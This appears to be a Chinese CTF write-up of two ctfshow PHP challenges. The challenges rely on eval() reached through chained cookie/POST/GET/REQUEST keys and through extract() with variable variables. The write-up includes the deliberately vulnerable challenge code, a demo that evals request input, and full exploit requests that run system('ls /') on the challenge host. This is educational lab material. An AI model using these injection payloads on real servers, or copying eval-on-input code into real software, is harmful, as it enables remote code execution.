1.web签到
<?php
// 注释信息
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); // 关闭错误报告
highlight_file(__FILE__); // 当前文件高亮显示
// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
-
向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key,这一步将 ck_val_post_key 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。
-
_POST 函数收到 _COOKIE 传入的 ck_val_post_key 后,将ck_val_post_key 作为变量名(POST的Key)接收 post 请求的传参,因此在数据包最后插入一行 ck_val_post_key=post_val_get_key 作为 post 请求的参数,这一步将post_val_get_key 作为参数传入 ck_val_post_key。在下一步post_val_get_key将作为变量名(Get的Key)接收 Get 请求的传参
-
_GET 函数收到 _POST 函数传入的 post_val_get_key 后,将 post_val_get_key作为变量名接收 get 请求的传参,因此在url 后插入 ?post_val_get_key=get_val_req_key 作为 get 请求的参数,这一步将 get_val_req_key 作为参数传入 post_val_get_key。
-
_REQUEST 函数收到 __GET 函数传入的 get_val_req_key 后,将 get_val_req_key 作为变量名接收 get 或 post 请求的传参,这里我们可以通过 post 或者Get请求传参。在第 3 步插入的 post_val_get_key=get_val_req_key 后加入 &get_val_req_key[6][0][7][5][8][0][9][4][4]=system(‘ls /’);或者(POST方法)在第 2步插入的 ck_val_post_key=post_val_get_key后加入 &get_val_req_key[6][0][7][5][8][0][9][4][4]=system(‘ls /’);
-
eval 函数接收到 system(‘ls’); 后将字符串按 php 代码执行,对当前目录进行查询。
最终用HackBar构造的请求如下:
https://5587916f-7262-4b1e-9e2c-4cb039a24edb.challenge.ctf.show/?post_val_get_key=get_val_req_key&get_val_req_key[6][0][7][5][8][0][9][4][4]=system('ls /');
Body:ck_val_post_key=post_val_get_key
Cookie:CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key
或者
https://5587916f-7262-4b1e-9e2c-4cb039a24edb.challenge.ctf.show/?post_val_get_key=get_val_req_key
Body:ck_val_post_key=post_val_get_key&get_val_req_key[6][0][7][5][8][0][9][4][4]=system('ls /');
Cookie:CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key
为了加深对PHP接受请求的理解,我写了一个小demo进行了测试
Demo
<?php
// 开启错误显示,方便查看具体报错信息,在实际生产环境中可根据需求调整错误报告级别
ini_set('display_errors', 1);
error_reporting(E_ALL);
// 输出 $_GET 变量的内容
echo "\n======== GET 变量内容 ========\n";
var_dump($_GET);
// 输出 $_REQUEST 变量的内容
echo "\n======== REQUEST 变量内容 ========\n";
var_dump($_REQUEST);
try {
$postValGetKey = $_GET['post_val_get_key']?? '';
// 尝试执行可能出现问题的表达式,并打印结果(实际会因参数格式问题报错)
$result = $_REQUEST[$_GET['post_val_get_key']][6];
echo "\n======== 执行表达式_REQUEST[_GET['post_val_get_key']][6]的结果 ========\n";
var_dump($result);
eval($result);
} catch (\Throwable $e) {
// 如果出现错误,打印错误信息
echo "======== 出现错误,错误信息如下 ========\n";
echo $e->getMessage();
}
?>
得到的结果如下
======== GET 变量内容 ========
array(1) { ["post_val_get_key"]=> string(15) "get_val_req_key" }
======== REQUEST 变量内容 ========
array(2) {
["post_val_get_key"]=> string(15) "get_val_req_key"
["get_val_req_key"]=> array(1) { [6]=> string(13) "system('ls');" }
}
======== 执行表达式_REQUEST[_GET['post_val_get_key']][6]的结果 ========
string(13) "system('ls');"
【Loading 19/21】Web_ctfshow_WriteUp | _新手必刷_菜狗杯 - Guanz - 博客园
2.我的眼里只有$
知识点:
在 PHP 中,多个$符号的特性主要与变量的可变变量有关,以下是详细解释:
基本概念
当使用一个$
符号时,是在直接引用一个已定义的变量,例如$a = 10;
,这里$a
就是一个普通的变量,它存储了值10 。
而当使用两个或多个$
符号时,就涉及到了可变变量的概念。可变变量允许动态地创建和使用变量名。也就是说,一个变量的名称可以由另一个变量的值来决定。
多个$
符号的情况
语法:可以连续使用多个$
符号,如$$$var_name
等,从右向左依次解析。
示例:
$a = 'b';
$b = 'c';
$c = 20;
echo $$$a;
// 输出20,首先$a的值是'b',所以$$a相当于$b,而$b的值是'c',所以$$$a相当于$c,$c的值是20
extract($_POST);
:
extract()
函数是 PHP 内置函数,它的作用是将数组中的键值对导入到当前的符号表中,在这里它接收$_POST
超全局变量作为参数。$_POST
超全局变量用于收集通过 HTTP POST 方法提交的数据(比如表单数据等)。例如,如果$_POST
数组中有元素['name' => 'John']
,执行extract($_POST)
后,就相当于创建了一个名为name的变量,其值为John,可以直接在后续代码中使用$name
来访问这个值了。
题目:
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
根据之前的示例
$a = 'b';
$b = 'c';
$c = 20;
echo $$$a;
// 输出20,首先$a的值是'b',所以$$a相当于$b,而$b的值是'c',所以$$$a相当于$c,$c的值是20
对于3个$
的情况,要让$$$a = 20
,需要2个其它变量为可变变量来传递最后$c=20
这个值,题目中有36个$
,则需要35个可变变量。分析完毕,构造POST请求如下:
Body:_=b1&b1=b2&b2=b3&b3=b4&b4=b5&b5=b6&b6=b7&b7=b8&b8=b9&b9=b10&b10=b11&b11=b12&b12=b13&b13=b14&b14=b15&b15=b16&b16=b17&b17=b18&b18=b19&b19=b20&b20=b21&b21=b22&b22=b23&b23=b24&b24=b25&b25=b26&b26=b27&b27=b28&b28=b29&b29=b30&b30=b31&b31=b32&b32=b33&b33=b34&b34=b35&b35=system('ls /');